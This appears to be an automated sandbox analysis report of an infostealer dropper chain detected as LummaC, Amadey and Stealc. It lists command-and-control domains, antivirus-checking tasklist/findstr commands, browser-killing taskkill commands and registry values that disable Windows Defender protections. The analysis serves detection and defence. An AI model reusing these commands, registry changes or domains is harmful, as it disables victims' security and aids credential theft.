Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Memory written: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Memory written: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: EUCyhuW.exe, 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bellflamre.click
Source: 17ce3a84e4.exe, 0000001B.00000002.4530305949.00000000015D0000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: fieldhitty.click
Source: 412ec13ac5.exe, 0000001C.00000002.3169413863.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: 580c9354ec.exe, 0000001F.00000003.3226351387.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe "C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe "C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe "C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe "C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe "C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe "C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe "C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Process created: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe "C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Campbell Campbell.cmd & Campbell.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 370821
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Anchor" Veterinary
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Genre + ..\Mj + ..\Discs + ..\Receiving + ..\Mysterious + ..\Aka w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\370821\Sale.com Sale.com w
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Process created: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe "C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe"

Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: Sale.com, 00000018.00000000.2879528289.0000000000843000.00000002.00000001.01000000.0000000D.sdmp, 51ecf08926.exe, 00000021.00000000.3354831484.00000000004A2000.00000002.00000001.01000000.00000013.sdmp, 51ecf08926.exe, 00000032.00000000.3491748335.00000000004A2000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe, skotes.exe, 00000003.00000002.2137910104.0000000000906000.00000040.00000001.01000000.00000007.sdmp, 9f6ea82062.exe, 00000024.00000002.4225691431.0000000000E6F000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Program Manager
Source: 5936bfa4af.exe, 0000002C.00000002.3642079118.0000000000375000.00000040.00000001.01000000.00000016.sdmp	Binary or memory string: .Program Manager

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	7_2_003811AC
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	7_2_0038566E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	7_2_003816A7
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	7_2_003858BF
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	7_2_0038595A
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	7_2_00385BAD
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	7_2_00385C0C
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	7_2_00385CE1
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	7_2_00385D2C
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_00385DD3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	7_2_00385ED9
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	9_2_003811AC
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	9_2_0038566E
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	9_2_003816A7
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	9_2_003858BF
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	9_2_0038595A
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	9_2_00385BAD
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	9_2_00385C0C
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: EnumSystemLocalesW,	9_2_00385CE1
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	9_2_00385D2C
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_00385DD3
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Code function: GetLocaleInfoW,	9_2_00385ED9

Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019557001\SurveillanceWalls.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019601001\a53907268b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019603001\d0c6b9d6b8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019604001\0c0e50df68.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019605001\5e8e6b1f32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019605001\5e8e6b1f32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019606001\6dc8db9c72.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019606001\6dc8db9c72.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019607001\6377f21e05.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019607001\6377f21e05.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019608001\90e2c6db43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019608001\90e2c6db43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019609001\7defc08b02.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019609001\7defc08b02.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019610001\murrgHN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019610001\murrgHN.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019611001\df0ad61c61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019611001\df0ad61c61.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019612001\a389bef3dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019612001\a389bef3dc.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019613001\1ba4718074.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019614001\408fbd4e57.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019614001\408fbd4e57.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019615001\9e7a844ab2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019616001\dfe1c8ec1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1019616001\dfe1c8ec1f.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00ECCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00ECCBEA

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1019599001\5936bfa4af.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: EUCyhuW.exe, 00000009.00000003.2913252442.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2914135153.0000000000E8B000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913722505.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, EUCyhuW.exe, 00000009.00000003.2913252442.0000000000E97000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000002.3659052898.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3630270875.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3593252563.0000000001101000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3589106795.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 412ec13ac5.exe, 0000001E.00000003.3548508878.000000000118F000.00000004.00000020.00020000.00000000.sdmp, 580c9354ec.exe, 0000001F.00000003.3870761939.00000000011AA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1019552001\EUCyhuW.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1019602001\647da3efc5.exe, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.6c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2108752240.0000000000EB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2139236518.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2137416563.00000000006C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 51ecf08926.exe PID: 1844, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: EUCyhuW.exe PID: 344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 412ec13ac5.exe PID: 4788, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 580c9354ec.exe PID: 6008, type: MEMORYSTR
Source: Yara match	File source: 9.2.EUCyhuW.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.EUCyhuW.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3125830482.00000000031A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3137726168.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000024.00000002.4203714163.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.3308819951.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3942624190.0000000000A51000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.3929798314.000000000094E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
